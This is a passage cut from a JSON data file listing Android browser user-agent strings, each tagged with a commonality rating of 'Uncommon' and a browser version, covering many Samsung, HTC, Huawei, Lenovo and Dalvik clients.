Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; PRO7D Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; es-us; GT-P1010 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-gb; ONE TOUCH 983 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SGPT12 Build\\/TJDSU0177) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; es-es; A500 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-es; GT-P3110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3.1; en-us; GT-I9100 Build\\/JLS36I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 CyanogenMod\\/10.2\\/i9100\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; cs-cz; GT-P3100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fi-fi; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LG-VM701 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-gb; HTC_DesireS_S510e Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; A554C Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-gb; SonyEricssonST25i Build\\/6.0.B.3.184) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ADR930L 4G Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-ke; Ideos Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1; en-us; ADR6200 Build\\/ERD79) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; cm_tenderloin Build\\/JZO54K; CyanogenMod-10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-ca; Arc Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y600-U20 Build\\/HUAWEIY600-U20) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.3\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; sdk Build\\/MR1) AppleWebKit\\/536.23 (KHTML, like Gecko) Version\\/4.3 Mobile Safari\\/536.23\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; MediaPad T1 8.0 Build\\/HuaweiMediaPad) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SM-T520 Build\\/KOT49H)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SPH-M950 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-ca; SAMSUNG SGH-I757M\\/I757MUGLCA Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"DDG-Android-3.1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; GT-I9100 Build\\/JLS36G) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 CyanogenMod\\/Hellybean-20130924\\/i9100\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; pt-br; GT-S5830B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5690 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; %lang_code%; SAMSUNG SM-G900F-ORANGE Build\\/LRX21T) adbeat.com\\/policy AppleWebKit\\/537.36 (KHTML, like Gecko)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9070 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P3100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; eeepc Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T989 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-G935F Build\\/NRD90M)\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; es-es; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A316i Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HTC_PN07120\\/1.26.502.10 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-I8160P Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MID1042 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; Huawei U8800-51 Build\\/HWU8800B635) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-R530U Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I337 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.3; SPH-L710 Build\\/JSS15J)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; ZTE V795 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/ZTE-Android-MMS-V2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-gb; KFOT Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.1; ja-jp; Galaxy Nexus Build\\/ITL41D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; ru-ru; GT-P5200 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; LIFEFITNESSCOM-MX6DQ Build\\/1.1.0-rc3) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; hu-hu; GT-P7500 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; PantechP9070 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; GT-I9060L Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; it-it; GT-I9100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; he-il; GT-S7580 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_One_M8 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; HTC_PN071 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MID8042 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HTCONE Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; cm_tenderloin Build\\/GWK74) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; pl-pl; GT-N7000 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; id-id; Lenovo A369i Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D600 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"ZTE U808_TD\\/1.0 Linux\\/3.0.8 Android\\/4.0 Release\\/3.6.2013 Browser\\/AppleWebKit533.1(KHTML,like Gecko) Mozilla\\/5.0 Mobile\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SAMSUNG-SGH-I897 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; GT-N7105 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A316i\\/S008) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; SpringBoard Build\\/HuaweiMediaPad) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; RCT6272W23 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-nz; GT-N8010 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; pt-br; SM-G3502L Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-au; GT-I9210T Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SM-T230 Build\\/KOT49H)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; de-de; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9305 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S6102B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; XT556 Build\\/V1.70B) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Prestige 7G Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fr-fr; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-I9300 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; SCH-I500 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; Micromax A27 Build\\/IML74K) AppleWebKit\\/534.30(KHTML,like Gecko) \\t\\t\\tVersion\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; M865 Build\\/HuaweiM865) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SAMSUNG-SGH-I897\\/I897UCKB1 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-ca; SAMSUNG-SGH-I997R Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; nl-nl; GT-P7510 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Titanium S5 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; GT-I8160 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-nz; GT-S5570 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-in; HTC_Explorer_A310e Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; HUAWEI Y530-U00 Build\\/HuaweiY530-U00) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LePanII Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I405 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fi-fi; IdeaTab S6000-H Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1; en-us; GT-N7100 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SM-N900A Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-es; V865M Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; fr-fr; GT-P1000 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LGMS769 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-N7105T Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-G930F Build\\/NRD90M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-B5510L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.0.1\\/235) Dalvik\\/2.1.0 (Linux; U; Android 5.0.2; LG-D631 Build\\/LRX22G)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; GT-P5113 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Memo S580A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; MT7001 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) 